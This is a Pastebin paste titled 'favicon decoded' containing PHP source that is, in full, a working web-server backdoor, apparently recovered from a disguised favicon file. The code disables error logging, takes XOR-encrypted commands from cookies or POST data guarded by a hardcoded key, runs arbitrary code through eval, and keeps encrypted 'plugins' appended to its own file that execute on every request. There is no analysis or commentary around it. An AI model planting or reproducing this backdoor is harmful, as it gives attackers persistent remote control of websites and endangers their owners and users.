SHARE
TWEET

favicon decoded

a guest Jan 9th, 2018 369 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. @ini_set('error_log', NULL);
  4. @ini_set('log_errors', 0);
  5. @ini_set('max_execution_time', 0);
  6. @error_reporting(0);
  7. @set_time_limit(0);
  8.  
  9.  
  10. if(!defined("PHP_EOL"))
  11. {
  12.     define("PHP_EOL", "\n");
  13. }
  14.  
  15. if(!defined("DIRECTORY_SEPARATOR"))
  16. {
  17.     define("DIRECTORY_SEPARATOR", "/");
  18. }
  19.  
  20. if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
  21. {
  22.     define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);
  23.  
  24.     $data = NULL;
  25.     $data_key = NULL;
  26.  
  27.     $GLOBALS['cs_auth'] = 'c3a19093-de5c-4e55-8f01-acf1f800325f';
  28.     global $cs_auth;
  29.  
  30.  
  31.     if (!function_exists('file_put_contents'))
  32.     {
  33.         function file_put_contents($n, $d, $flag = False)
  34.         {
  35.             $mode = $flag == 8 ? 'a' : 'w';
  36.             $f = @fopen($n, $mode);
  37.             if ($f === False)
  38.             {
  39.                 return 0;
  40.             }
  41.             else
  42.             {
  43.                 if (is_array($d)) $d = implode($d);
  44.                 $bytes_written = fwrite($f, $d);
  45.                 fclose($f);
  46.                 return $bytes_written;
  47.             }
  48.         }
  49.     }
  50.  
  51.     if (!function_exists('file_get_contents'))
  52.     {
  53.         function file_get_contents($filename)
  54.         {
  55.             $fhandle = fopen($filename, "r");
  56.             $fcontents = fread($fhandle, filesize($filename));
  57.             fclose($fhandle);
  58.  
  59.             return $fcontents;
  60.         }
  61.     }
  62.     function cs_get_current_filepath()
  63.     {
  64.         return trim(preg_replace("/\(.*\$/", '', __FILE__));
  65.     }
  66.  
  67.     function cs_decrypt_phase($data, $key)
  68.     {
  69.         $out_data = "";
  70.  
  71.         for ($i=0; $i<strlen($data);)
  72.         {
  73.             for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
  74.             {
  75.                 $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
  76.             }
  77.         }
  78.  
  79.         return $out_data;
  80.     }
  81.  
  82.     function cs_decrypt($data, $key)
  83.     {
  84.         global $cs_auth;
  85.  
  86.         return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
  87.     }
  88.     function cs_encrypt($data, $key)
  89.     {
  90.         global $cs_auth;
  91.  
  92.         return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
  93.     }
  94.  
  95.     function cs_get_plugin_config()
  96.     {
  97.         $self_content = @file_get_contents(cs_get_current_filepath());
  98.  
  99.         $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
  100.         if ($config_pos !== FALSE)
  101.         {
  102.             $config = substr($self_content, $config_pos + 32);
  103.             $plugins = @unserialize(cs_decrypt(base64_decode($config), md5(cs_get_current_filepath())));
  104.         }
  105.         else
  106.         {
  107.             $plugins = Array();
  108.         }
  109.  
  110.         return $plugins;
  111.     }
  112.  
  113.     function cs_set_plugin_config($plugins)
  114.     {
  115.         $config_enc = base64_encode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
  116.         $self_content = @file_get_contents(cs_get_current_filepath());
  117.  
  118.         $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
  119.         if ($config_pos !== FALSE)
  120.         {
  121.             $config_old = substr($self_content, $config_pos + 32);
  122.             $self_content = str_replace($config_old, $config_enc, $self_content);
  123.  
  124.         }
  125.         else
  126.         {
  127.             $self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc;
  128.         }
  129.  
  130.         @file_put_contents(cs_get_current_filepath(), $self_content);
  131.     }
  132.  
  133.     function cs_plugin_add($name, $base64_data)
  134.     {
  135.         $plugins = cs_get_plugin_config();
  136.  
  137.         $plugins[$name] = base64_decode($base64_data);
  138.  
  139.         cs_set_plugin_config($plugins);
  140.     }
  141.  
  142.     function cs_plugin_rem($name)
  143.     {
  144.         $plugins = cs_get_plugin_config();
  145.  
  146.         unset($plugins[$name]);
  147.  
  148.         cs_set_plugin_config($plugins);
  149.     }
  150.  
  151.     function cs_plugin_load($name=NULL)
  152.     {
  153.         foreach (cs_get_plugin_config() as $pname=>$pcontent)
  154.         {
  155.             if ($name)
  156.             {
  157.                 if (strcmp($name, $pname) == 0)
  158.                 {
  159.                     eval($pcontent);
  160.                     break;
  161.                 }
  162.             }
  163.             else
  164.             {
  165.                 eval($pcontent);
  166.             }
  167.         }
  168.     }
  169.  
  170.     foreach ($_COOKIE as $key=>$value)
  171.     {
  172.         $data = $value;
  173.         $data_key = $key;
  174.     }
  175.  
  176.     if (!$data)
  177.     {
  178.         foreach ($_POST as $key=>$value)
  179.         {
  180.             $data = $value;
  181.             $data_key = $key;
  182.         }
  183.     }
  184.  
  185.     $data = @unserialize(cs_decrypt(base64_decode($data), $data_key));
  186.  
  187.     if (isset($data['ak']) && $cs_auth==$data['ak'])
  188.     {
  189.         if ($data['a'] == 'i')
  190.         {
  191.             $i = Array(
  192.                 'pv' => @phpversion(),
  193.                 'sv' => '2.0-1',
  194.                 'ak' => $data['ak'],
  195.             );
  196.             echo @serialize($i);
  197.             exit;
  198.         }
  199.         elseif ($data['a'] == 'e')
  200.         {
  201.             eval($data['d']);
  202.         }
  203.         elseif ($data['a'] == 'plugin')
  204.         {
  205.             if($data['sa'] == 'add')
  206.             {
  207.                 cs_plugin_add($data['p'], $data['d']);
  208.             }
  209.             elseif($data['sa'] == 'rem')
  210.             {
  211.                 cs_plugin_rem($data['p']);
  212.             }
  213.         }
  214.         echo $data['ak'];
  215.         exit();
  216.     }
  217.  
  218.     cs_plugin_load();
  219. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top